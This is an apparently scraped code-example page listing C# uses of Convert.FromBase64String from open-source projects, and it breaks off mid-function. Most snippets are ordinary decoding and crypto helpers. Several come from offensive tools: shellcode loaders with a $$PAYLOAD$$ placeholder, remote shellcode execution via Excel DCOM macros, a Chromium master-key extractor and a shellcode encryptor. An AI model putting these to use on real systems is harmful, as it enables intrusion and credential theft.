Here are the examples of the csharp api System.Convert.FromBase64String(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.
3860 Examples
19
Source : Encryption.cs
with GNU General Public License v3.0
from 00000vish
with GNU General Public License v3.0
from 00000vish
public static string Decrypt<T>(string value, string preplacedword) where T : SymmetricAlgorithm, new()
{
byte[] vectorBytes = ASCIIEncoding.ASCII.GetBytes(_vector);
byte[] saltBytes = ASCIIEncoding.ASCII.GetBytes(_salt);
byte[] valueBytes = Convert.FromBase64String(value);
byte[] decrypted;
int decryptedByteCount = 0;
using (T cipher = new T())
{
PreplacedwordDeriveBytes _preplacedwordBytes = new PreplacedwordDeriveBytes(preplacedword, saltBytes, _hash, _iterations);
byte[] keyBytes = _preplacedwordBytes.GetBytes(_keySize / 8);
cipher.Mode = CipherMode.CBC;
try
{
using (ICryptoTransform decryptor = cipher.CreateDecryptor(keyBytes, vectorBytes))
{
using (MemoryStream from = new MemoryStream(valueBytes))
{
using (CryptoStream reader = new CryptoStream(from, decryptor, CryptoStreamMode.Read))
{
decrypted = new byte[valueBytes.Length];
decryptedByteCount = reader.Read(decrypted, 0, decrypted.Length);
}
}
}
}
catch (Exception)
{
return String.Empty;
}
cipher.Clear();
}
return Encoding.UTF8.GetString(decrypted, 0, decryptedByteCount);
}
19
Source : TableColumn.Types.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override ExprLiteral FromString(string? value)
{
if (value == null)
throw new SqExpressException($"Value cannot be null for '{this.ColumnName.Name}' non nullable column");
try
{
var result = Convert.FromBase64String(value);
return SqQueryBuilder.Literal(result);
}
catch (FormatException e)
{
throw new SqExpressException($"Could not parse base64 string '{(value.Length > 50 ? value.Substring(0, 50) : value)}' for '{this.ColumnName.Name}' column.", e);
}
}
19
Source : TableColumn.Types.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public override ExprLiteral FromString(string? value)
{
if (value == null)
return SqQueryBuilder.Literal((byte[]?)null);
try
{
var result = Convert.FromBase64String(value);
return SqQueryBuilder.Literal(result);
}
catch (FormatException e)
{
throw new SqExpressException($"Could not parse base64 string '{(value.Length > 50 ? value.Substring(0, 50) : value)}' for '{this.ColumnName.Name}' column.", e);
}
}
19
Source : ExprPlainReader.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public bool TryGetByteArray(IPlainItem node, string propertyName, out IReadOnlyList<byte>? value)
{
value = default;
if (this.TryGetSubNode(node.Id, propertyName, null, out var prop))
{
value = prop.Value != null ? Convert.FromBase64String(prop.Value) : null;
return true;
}
return false;
}
19
Source : ExprXmlReader.cs
with MIT License
from 0x1000000
with MIT License
from 0x1000000
public bool TryGetByteArray(XmlElement node, string propertyName, out IReadOnlyList<byte>? value)
{
var el = this.FindElement(node, propertyName);
if (el != null && !string.IsNullOrEmpty(el.InnerText))
{
value = Convert.FromBase64String(el.InnerText);
return true;
}
value = null;
return false;
}
19
Source : WebPFile.cs
with MIT License
from 0xC0000054
with MIT License
from 0xC0000054
private static WebPNative.MetadataParams CreateWebPMetadata(Doreplacedent doc)
{
byte[] iccProfileBytes = null;
byte[] exifBytes = null;
byte[] xmpBytes = null;
string colorProfile = doc.Metadata.GetUserValue(WebPMetadataNames.ColorProfile);
if (!string.IsNullOrEmpty(colorProfile))
{
iccProfileBytes = Convert.FromBase64String(colorProfile);
}
string exif = doc.Metadata.GetUserValue(WebPMetadataNames.EXIF);
if (!string.IsNullOrEmpty(exif))
{
exifBytes = Convert.FromBase64String(exif);
}
string xmp = doc.Metadata.GetUserValue(WebPMetadataNames.XMP);
if (!string.IsNullOrEmpty(xmp))
{
xmpBytes = Convert.FromBase64String(xmp);
}
if (iccProfileBytes == null || exifBytes == null)
{
Dictionary<MetadataKey, MetadataEntry> propertyItems = GetMetadataFromDoreplacedent(doc);
if (propertyItems != null)
{
ExifColorSpace exifColorSpace = ExifColorSpace.Srgb;
if (iccProfileBytes != null)
{
exifColorSpace = ExifColorSpace.Uncalibrated;
}
else
{
MetadataKey iccProfileKey = MetadataKeys.Image.InterColorProfile;
if (propertyItems.TryGetValue(iccProfileKey, out MetadataEntry iccProfileItem))
{
iccProfileBytes = iccProfileItem.GetData();
propertyItems.Remove(iccProfileKey);
exifColorSpace = ExifColorSpace.Uncalibrated;
}
}
if (exifBytes == null)
{
exifBytes = new ExifWriter(doc, propertyItems, exifColorSpace).CreateExifBlob();
}
}
}
if (xmpBytes == null)
{
PaintDotNet.Imaging.XmpPacket xmpPacket = doc.Metadata.TryGetXmpPacket();
if (xmpPacket != null)
{
string xmpPacketreplacedtring = xmpPacket.ToString();
xmpBytes = System.Text.Encoding.UTF8.GetBytes(xmpPacketreplacedtring);
}
}
if (iccProfileBytes != null || exifBytes != null || xmpBytes != null)
{
return new WebPNative.MetadataParams(iccProfileBytes, exifBytes, xmpBytes);
}
return null;
}
19
Source : Chromium.cs
with GNU General Public License v3.0
from 0xfd3
with GNU General Public License v3.0
from 0xfd3
public static byte[] GetMasterKey(string LocalStateFolder)
{
//Key saved in Local State file
string filePath = LocalStateFolder + @"\Local State";
byte[] masterKey = new byte[] { };
if (File.Exists(filePath) == false)
return null;
//Get key with regex.
var pattern = new System.Text.RegularExpressions.Regex("\"encrypted_key\":\"(.*?)\"", System.Text.RegularExpressions.RegexOptions.Compiled).Matches(File.ReadAllText(filePath));
foreach (System.Text.RegularExpressions.Match prof in pattern)
{
if (prof.Success)
masterKey = Convert.FromBase64String((prof.Groups[1].Value)); //Decode base64
}
//Trim first 5 bytes. Its signature "DPAPI"
byte[] temp = new byte[masterKey.Length - 5];
Array.Copy(masterKey, 5, temp, 0, masterKey.Length - 5);
try
{
return ProtectedData.Unprotect(temp, null, DataProtectionScope.CurrentUser);
}
catch (Exception ex)
{
Console.WriteLine(ex.ToString());
return null;
}
}
19
Source : ExcelDCOM.cs
with GNU General Public License v3.0
from 0xthirteen
with GNU General Public License v3.0
from 0xthirteen
static void ExecExcelDCOM(string computername, string arch)
{
try
{
Type ComType = Type.GetTypeFromProgID("Excel.Application", computername);
object RemoteComObject = Activator.CreateInstance(ComType);
int lpAddress;
if (arch == "x64")
{
lpAddress = 1342177280;
}
else
{
lpAddress = 0;
}
string strfn = ("$$PAYLOAD$$");
byte[] benign = Convert.FromBase64String(strfn);
var memaddr = Convert.ToDouble(RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\"," + lpAddress + "," + benign.Length + ",4096,64)" }));
int count = 0;
foreach (var mybyte in benign)
{
var charbyte = String.Format("CHAR({0})", mybyte);
var ret = RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",-1, " + (memaddr + count) + "," + charbyte + ", 1, 0)" });
count = count + 1;
}
RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, " + memaddr + ", 0, 0, 0)" });
Console.WriteLine("[+] Executing against : {0}", computername);
}
catch (Exception e)
{
Console.WriteLine("[-] Error: {0}", e.Message);
}
}
19
Source : CacheBuilder.cs
with GNU General Public License v3.0
from 1330-Studios
with GNU General Public License v3.0
from 1330-Studios
public static Texture2D Get(string key) {
if (builtBytes.ContainsKey(key)) {
var text = LoadTextureFromBytes(builtBytes[key]);
return text;
}
var bytes = Convert.FromBase64String(built[key]);
builtBytes.Add(key, bytes);
var textNew = LoadTextureFromBytes(Convert.FromBase64String(built[key]));
return textNew;
}
19
Source : custom-nonpre.cs
with GNU General Public License v3.0
from 0xthirteen
with GNU General Public License v3.0
from 0xthirteen
static void Main()
{
string strShellCode = ("$$PAYLOAD$$");
byte[] shellcode = Convert.FromBase64String(strShellCode);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
19
Source : service-custom-nonpre.cs
with GNU General Public License v3.0
from 0xthirteen
with GNU General Public License v3.0
from 0xthirteen
protected override void OnStart(string[] args)
{
string strShellCode = ("$$PAYLOAD$$");
byte[] shellcode = Convert.FromBase64String(strShellCode);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
19
Source : ImageLoading.cs
with GNU General Public License v3.0
from 1330-Studios
with GNU General Public License v3.0
from 1330-Studios
public static Sprite LoadSpriteB64(string encoded, float PixelsPerUnit = 100.0f,
SpriteMeshType spriteType = SpriteMeshType.Tight) {
try {
Texture2D SpriteTexture = LoadTextureFromBytes(Convert.FromBase64String(encoded));
Sprite NewSprite = Sprite.Create(SpriteTexture,
new Rect(0, 0, SpriteTexture.width, SpriteTexture.height), new Vector2(0, 0), PixelsPerUnit, 0,
spriteType);
return NewSprite;
} catch (Exception) {
throw spriteCantBeCreatedException;
}
}
19
Source : StringExtensions.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
public static string FromBase64(this string s)
{
byte[] data = Convert.FromBase64String(s);
return Encoding.UTF8.GetString(data);
}
19
Source : AesEncrypt.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
private string Decrypt(string decryptString, string key, bool hex)
{
if (decryptString.IsNull())
return null;
if (key.IsNull())
key = KEY;
var keyBytes = Encoding.UTF8.GetBytes(key);
var encryptBytes = hex ? decryptString.Hex2Bytes() : Convert.FromBase64String(decryptString);
var provider = new RijndaelManaged
{
Key = keyBytes,
Mode = CipherMode.ECB,
Padding = PaddingMode.PKCS7
};
using var mStream = new MemoryStream();
using var cStream = new CryptoStream(mStream, provider.CreateDecryptor(), CryptoStreamMode.Write);
cStream.Write(encryptBytes, 0, encryptBytes.Length);
cStream.FlushFinalBlock();
return Encoding.UTF8.GetString(mStream.ToArray());
}
19
Source : TripleDesEncrypt.cs
with MIT License
from 17MKH
with MIT License
from 17MKH
private string Decrypt(string decryptString, string key, bool hex)
{
if (decryptString.IsNull())
return null;
if (key.IsNull())
key = KEY;
var keyBytes = Encoding.UTF8.GetBytes(key);
var encryptBytes = hex ? decryptString.Hex2Bytes() : Convert.FromBase64String(decryptString);
var provider = new DESCryptoServiceProvider
{
Key = keyBytes,
Mode = CipherMode.ECB,
Padding = PaddingMode.PKCS7
};
using var mStream = new MemoryStream();
using var cStream = new CryptoStream(mStream, provider.CreateDecryptor(), CryptoStreamMode.Write);
cStream.Write(encryptBytes, 0, encryptBytes.Length);
cStream.FlushFinalBlock();
return Encoding.UTF8.GetString(mStream.ToArray());
}
19
Source : FauxDeployCMAgent.cs
with GNU General Public License v3.0
from 1RedOne
with GNU General Public License v3.0
from 1RedOne
public static X509Certificate2 CreateSelfSignedCertificate(string subjectName)
{
// create DN for subject and issuer
var dn = new CX500DistinguishedName();
dn.Encode("CN=" + subjectName, X500NameFlags.XCN_CERT_NAME_STR_NONE);
// create a new private key for the certificate
CX509PrivateKey privateKey = new CX509PrivateKey
{
ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider",
MachineContext = false,
Length = 2048,
KeySpec = X509KeySpec.XCN_AT_SIGNATURE, // use is not limited
ExportPolicy = X509PrivateKeyExportFlags.XCN_NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG
};
privateKey.Create();
// Use the stronger SHA512 hashing algorithm
var hashobj = new CObjectId();
hashobj.InitializeFromAlgorithmName(ObjectIdGroupId.XCN_CRYPT_HASH_ALG_OID_GROUP_ID,
ObjectIdPublicKeyFlags.XCN_CRYPT_OID_INFO_PUBKEY_ANY,
AlgorithmFlags.AlgorithmFlagsNone, "SHA256");
// add extended key usage if you want - look at MSDN for a list of possible OIDs
var oid = new CObjectId();
oid.InitializeFromValue("1.3.6.1.5.5.7.3.1"); // SSL server
var oidlist = new CObjectIds { oid };
var eku = new CX509ExtensionEnhancedKeyUsage();
eku.InitializeEncode(oidlist);
// Create the self signing request
var cert = new CX509CertificateRequestCertificate();
cert.InitializeFromPrivateKey(X509CertificateEnrollmentContext.ContextUser, privateKey, "");
cert.Subject = dn;
cert.Issuer = dn; // the issuer and the subject are the same
cert.NotBefore = DateTime.Now;
// this cert expires immediately. Change to whatever makes sense for you
cert.NotAfter = DateTime.Now.AddYears(1);
cert.X509Extensions.Add((CX509Extension)eku); // add the EKU
cert.HashAlgorithm = hashobj; // Specify the hashing algorithm
cert.Encode(); // encode the certificate
// Do the final enrollment process
var enroll = new CX509Enrollment();
enroll.InitializeFromRequest(cert); // load the certificate
enroll.CertificateFriendlyName = subjectName; // Optional: add a friendly name
string csr = enroll.CreateRequest(); // Output the request in base64
// and install it back as the response
enroll.InstallResponse(InstallResponseRestrictionFlags.AllowUntrustedCertificate,
csr, EncodingType.XCN_CRYPT_STRING_BASE64, ""); // no preplacedword
// output a base64 encoded PKCS#12 so we can import it back to the .Net security clreplacedes
var base64encoded = enroll.CreatePFX("", // no preplacedword, this is for internal consumption
PFXExportOptions.PFXExportChainWithRoot);
// instantiate the target clreplaced with the PKCS#12 data (and the empty preplacedword)
return new System.Security.Cryptography.X509Certificates.X509Certificate2(
System.Convert.FromBase64String(base64encoded), "",
// mark the private key as exportable (this is usually what you want to do)
System.Security.Cryptography.X509Certificates.X509KeyStorageFlags.Exportable
);
}
19
Source : Encrypter.cs
with MIT License
from 1y0n
with MIT License
from 1y0n
public static string Decrypt(string key, string data)
{
Encoding unicode = Encoding.Unicode;
return unicode.GetString(Encrypt(unicode.GetBytes(key), Convert.FromBase64String(data)));
}
19
Source : ExtensionMethod.cs
with MIT License
from 1iveowl
with MIT License
from 1iveowl
public static string ToBase64UrlDecoded(this string str)
{
str = str.Replace('-', '+').Replace('_', '/');
str = str.PadRight(str.Length + (4 - str.Length % 4) % 4, '=');
var byteArray = Convert.FromBase64String(str);
var decoded = Encoding.UTF8.GetString(byteArray, 0, byteArray.Length );
return decoded;
}
19
Source : ShareHandler.cs
with GNU General Public License v3.0
from 2dust
with GNU General Public License v3.0
from 2dust
private static VmessItem ResolveSip002(string result)
{
Uri parsedUrl;
try
{
parsedUrl = new Uri(result);
}
catch (UriFormatException)
{
return null;
}
VmessItem server = new VmessItem
{
remarks = parsedUrl.GetComponents(UriComponents.Fragment, UriFormat.Unescaped),
address = parsedUrl.IdnHost,
port = parsedUrl.Port,
};
// parse base64 UserInfo
string rawUserInfo = parsedUrl.GetComponents(UriComponents.UserInfo, UriFormat.Unescaped);
string base64 = rawUserInfo.Replace('-', '+').Replace('_', '/'); // Web-safe base64 to normal base64
string userInfo;
try
{
userInfo = Encoding.UTF8.GetString(Convert.FromBase64String(
base64.PadRight(base64.Length + (4 - base64.Length % 4) % 4, '=')));
}
catch (FormatException)
{
return null;
}
string[] userInfoParts = userInfo.Split(new char[] { ':' }, 2);
if (userInfoParts.Length != 2)
{
return null;
}
server.security = userInfoParts[0];
server.id = userInfoParts[1];
NameValueCollection queryParameters = HttpUtility.ParseQueryString(parsedUrl.Query);
if (queryParameters["plugin"] != null)
{
return null;
}
return server;
}
19
Source : ShareHandler.cs
with GNU General Public License v3.0
from 2dust
with GNU General Public License v3.0
from 2dust
private static VmessItem ResolveSSLegacy(string result)
{
var match = UrlFinder.Match(result);
if (!match.Success)
return null;
VmessItem server = new VmessItem();
var base64 = match.Groups["base64"].Value.TrimEnd('/');
var tag = match.Groups["tag"].Value;
if (!Utils.IsNullOrEmpty(tag))
{
server.remarks = Utils.UrlDecode(tag);
}
Match details;
try
{
details = DetailsParser.Match(Encoding.UTF8.GetString(Convert.FromBase64String(
base64.PadRight(base64.Length + (4 - base64.Length % 4) % 4, '='))));
}
catch (FormatException)
{
return null;
}
if (!details.Success)
return null;
server.security = details.Groups["method"].Value;
server.id = details.Groups["preplacedword"].Value;
server.address = details.Groups["hostname"].Value;
server.port = int.Parse(details.Groups["port"].Value);
return server;
}
19
Source : Utils.cs
with GNU General Public License v3.0
from 2dust
with GNU General Public License v3.0
from 2dust
public static string Base64Decode(string plainText)
{
try
{
plainText = plainText.TrimEx()
.Replace(Environment.NewLine, "")
.Replace("\n", "")
.Replace("\r", "")
.Replace(" ", "");
if (plainText.Length % 4 > 0)
{
plainText = plainText.PadRight(plainText.Length + 4 - plainText.Length % 4, '=');
}
byte[] data = Convert.FromBase64String(plainText);
return Encoding.UTF8.GetString(data);
}
catch (Exception ex)
{
SaveLog("Base64Decode", ex);
return string.Empty;
}
}
19
Source : Program.cs
with GNU General Public License v3.0
from 3xpl01tc0d3r
with GNU General Public License v3.0
from 3xpl01tc0d3r
static void Main(string[] args)
{
try
{
logo();
// https://github.com/GhostPack/Rubeus/blob/master/Rubeus/Domain/ArgumentParser.cs#L10
var arguments = new Dictionary<string, string>();
foreach (var argument in args)
{
var idx = argument.IndexOf(':');
if (idx > 0)
arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
else
arguments[argument] = string.Empty;
}
WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
if (principal.IsInRole(WindowsBuiltInRole.Administrator))
{
Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with HIGH integrity.");
}
else
{
Console.WriteLine($"[+] Process running with {principal.Idenreplacedy.Name} privileges with MEDIUM / LOW integrity.");
}
if (arguments.Count == 0)
{
PrintError("[-] No arguments specified. Please refer the help section for more details.");
help();
}
else if (arguments.ContainsKey("/help"))
{
help();
}
else if (arguments.Count < 3)
{
PrintError("[-] Some arguments are missing. Please refer the help section for more details.");
help();
}
else if (arguments.Count >= 3)
{
string key = "SuperStrongKey";
string shellcode = null;
byte[] rawshellcode = new byte[] { };
if (arguments.ContainsKey("/path") && System.IO.File.Exists(arguments["/path"]))
{
if (arguments["/f"] == "raw")
{
rawshellcode = System.IO.File.ReadAllBytes(arguments["/path"]);
}
else
{
shellcode = System.IO.File.ReadAllText(arguments["/path"]);
}
}
else if (arguments.ContainsKey("/url"))
{
if (arguments["/f"] == "raw")
{
rawshellcode = GetRawShellcode(arguments["/url"]);
}
else
{
shellcode = GetShellcode(arguments["/url"]);
}
}
if (shellcode != null || rawshellcode.Length > 0)
{
byte[] buf = new byte[] { };
if (arguments.ContainsKey("/key"))
{
key = (arguments["/key"]);
}
PrintInfo($"[!] Shellcode will be encrypted using '{key}' key");
if (arguments["/enc"] == "xor")
{
byte[] xorshellcode = new byte[] { };
if (arguments["/f"] == "base64")
{
buf = Convert.FromBase64String(shellcode);
xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(Convert.ToBase64String(xorshellcode));
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], Convert.ToBase64String(xorshellcode));
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", Convert.ToBase64String(xorshellcode));
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "hex")
{
buf = StringToByteArray(shellcode);
xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(ByteArrayToString(xorshellcode));
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], ByteArrayToString(xorshellcode));
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", ByteArrayToString(xorshellcode));
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "c")
{
buf = convertfromc(shellcode);
xorshellcode = XOR(buf, Encoding.ASCII.GetBytes(key));
StringBuilder newshellcode = new StringBuilder();
for (int i = 0; i < xorshellcode.Length; i++)
{
newshellcode.Append("\\x");
newshellcode.AppendFormat("{0:x2}", xorshellcode[i]);
}
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(newshellcode);
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], newshellcode.ToString());
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", newshellcode.ToString());
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "raw")
{
xorshellcode = XOR(rawshellcode, Encoding.ASCII.GetBytes(key));
PrintSuccess("[+] Shellcode encrypted successfully.");
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllBytes(arguments["/o"], xorshellcode);
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllBytes("output.bin", xorshellcode);
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else
{
PrintError("[-] Please specify correct shellcode format.");
}
}
else if (arguments["/enc"] == "aes")
{
byte[] preplacedwordBytes = Encoding.UTF8.GetBytes(key);
preplacedwordBytes = SHA256.Create().ComputeHash(preplacedwordBytes);
byte[] bytesEncrypted = new byte[] { };
if (arguments["/f"] == "base64")
{
buf = Convert.FromBase64String(shellcode);
bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(Convert.ToBase64String(bytesEncrypted));
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], Convert.ToBase64String(bytesEncrypted));
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", Convert.ToBase64String(bytesEncrypted));
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "hex")
{
buf = StringToByteArray(shellcode);
bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(ByteArrayToString(bytesEncrypted));
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], ByteArrayToString(bytesEncrypted));
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", ByteArrayToString(bytesEncrypted));
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "c")
{
buf = convertfromc(shellcode);
bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
StringBuilder newshellcode = new StringBuilder();
for (int i = 0; i < bytesEncrypted.Length; i++)
{
newshellcode.Append("\\x");
newshellcode.AppendFormat("{0:x2}", bytesEncrypted[i]);
}
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(newshellcode);
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], newshellcode.ToString());
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", newshellcode.ToString());
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "raw")
{
bytesEncrypted = AES_Encrypt(rawshellcode, preplacedwordBytes);
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllBytes(arguments["/o"], bytesEncrypted);
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllBytes("output.bin", bytesEncrypted);
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else
{
PrintError("[-] Please specify correct shellcode format.");
}
}
else
{
PrintError("[-] Please specify correct encryption type.");
}
}
else
{
PrintError("[-] Please check the specified file path or the URL.");
}
}
else
{
PrintError("[-] File doesn't exists. Please check the specified file path.");
}
}
catch (Exception ex)
{
PrintError(ex.Message);
}
}
19
Source : RijndaelUtil.cs
with MIT License
from 404Lcc
with MIT License
from 404Lcc
public static string RijndaelDecrypt(string key, string value)
{
byte[] keyBytes = key.GetBytes();
byte[] valueBytes = Convert.FromBase64String(value);
byte[] bytes = RijndaelDecrypt(keyBytes, valueBytes);
return bytes.GetString();
}
19
Source : SimpleJSON.cs
with MIT License
from 734843327
with MIT License
from 734843327
public static JSONNode LoadFromBase64(string aBase64)
{
var tmp = System.Convert.FromBase64String(aBase64);
var stream = new System.IO.MemoryStream(tmp);
stream.Position = 0;
return LoadFromStream(stream);
}
19
Source : StringExtension.cs
with GNU Lesser General Public License v3.0
from 8720826
with GNU Lesser General Public License v3.0
from 8720826
public static string ToDesDecrypt(this string text, string sKey = "[email protected]")
{
try
{
byte[] inputArray = Convert.FromBase64String(text);
var tripleDES = TripleDES.Create();
var byteKey = Encoding.UTF8.GetBytes(sKey);
tripleDES.Key = byteKey;
tripleDES.Mode = CipherMode.ECB;
tripleDES.Padding = PaddingMode.PKCS7;
ICryptoTransform cTransform = tripleDES.CreateDecryptor();
byte[] resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length);
return Encoding.UTF8.GetString(resultArray);
}
catch
{
return "";
}
}
19
Source : Base64.cs
with MIT License
from 944095635
with MIT License
from 944095635
public static string DecodeBase64(Encoding encode, string result)
{
string decode = "";
byte[] bytes = Convert.FromBase64String(result);
try
{
decode = encode.GetString(bytes);
}
catch
{
decode = result;
}
return decode;
}
19
Source : RSAEncode.cs
with Apache License 2.0
from 91270
with Apache License 2.0
from 91270
public string RSADecrypt(string xmlPrivateKey, string m_strDecryptString)
{
byte[] PlainTextBArray;
byte[] DypherTextBArray;
string Result;
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
rsa.FromXmlString(xmlPrivateKey);
PlainTextBArray = Convert.FromBase64String(m_strDecryptString);
DypherTextBArray = rsa.Decrypt(PlainTextBArray, false);
Result = (new UnicodeEncoding()).GetString(DypherTextBArray);
return Result;
}
19
Source : RSAEncode.cs
with Apache License 2.0
from 91270
with Apache License 2.0
from 91270
public bool SignatureFormatter(string p_strKeyPrivate, string m_strHashbyteSignature, ref string m_strEncryptedSignatureData)
{
byte[] HashbyteSignature;
byte[] EncryptedSignatureData;
HashbyteSignature = Convert.FromBase64String(m_strHashbyteSignature);
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
RSA.FromXmlString(p_strKeyPrivate);
RSAPKCS1SignatureFormatter RSAFormatter = new RSAPKCS1SignatureFormatter(RSA);
//设置签名的算法为MD5
RSAFormatter.SetHashAlgorithm("MD5");
//执行签名
EncryptedSignatureData = RSAFormatter.CreateSignature(HashbyteSignature);
m_strEncryptedSignatureData = Convert.ToBase64String(EncryptedSignatureData);
return true;
}
19
Source : RSAEncode.cs
with Apache License 2.0
from 91270
with Apache License 2.0
from 91270
public bool SignatureDeformatter(string p_strKeyPublic, string p_strHashbyteDeformatter, byte[] DeformatterData)
{
byte[] HashbyteDeformatter;
HashbyteDeformatter = Convert.FromBase64String(p_strHashbyteDeformatter);
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
RSA.FromXmlString(p_strKeyPublic);
RSAPKCS1SignatureDeformatter RSADeformatter = new RSAPKCS1SignatureDeformatter(RSA);
//指定解密的时候HASH算法为MD5
RSADeformatter.SetHashAlgorithm("MD5");
if (RSADeformatter.VerifySignature(HashbyteDeformatter, DeformatterData))
{
return true;
}
else
{
return false;
}
}
19
Source : Program.cs
with MIT License
from 8x8
with MIT License
from 8x8
static RSA ReadPrivateKeyFromFile(String privateKeyFilePath, PKType pkType)
{
var rsa = RSA.Create();
var privateKeyContent = File.ReadAllText(privateKeyFilePath, System.Text.Encoding.UTF8);
privateKeyContent = privateKeyContent.Replace(pkType == PKType.PKCS1 ? Program.BEGIN_PKCS1_PRIVATE_KEY : Program.BEGIN_PKCS8_PRIVATE_KEY, "");
privateKeyContent = privateKeyContent.Replace(pkType == PKType.PKCS1 ? Program.END_PKCS1_PRIVATE_KEY : Program.END_PKCS8_PRIVATE_KEY, "");
var privateKeyDecoded = Convert.FromBase64String(privateKeyContent);
if (pkType == PKType.PKCS1)
{
rsa.ImportRSAPrivateKey(privateKeyDecoded, out _);
}
else
{
rsa.ImportPkcs8PrivateKey(privateKeyDecoded, out _);
}
return rsa;
}
19
Source : RSAEncode.cs
with Apache License 2.0
from 91270
with Apache License 2.0
from 91270
public bool SignatureFormatter(string p_strKeyPrivate, string m_strHashbyteSignature, ref byte[] EncryptedSignatureData)
{
byte[] HashbyteSignature;
HashbyteSignature = Convert.FromBase64String(m_strHashbyteSignature);
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
RSA.FromXmlString(p_strKeyPrivate);
RSAPKCS1SignatureFormatter RSAFormatter = new RSAPKCS1SignatureFormatter(RSA);
//设置签名的算法为MD5
RSAFormatter.SetHashAlgorithm("MD5");
//执行签名
EncryptedSignatureData = RSAFormatter.CreateSignature(HashbyteSignature);
return true;
}
19
Source : RSAEncode.cs
with Apache License 2.0
from 91270
with Apache License 2.0
from 91270
public bool SignatureDeformatter(string p_strKeyPublic, byte[] HashbyteDeformatter, string p_strDeformatterData)
{
byte[] DeformatterData;
RSACryptoServiceProvider RSA = new RSACryptoServiceProvider();
RSA.FromXmlString(p_strKeyPublic);
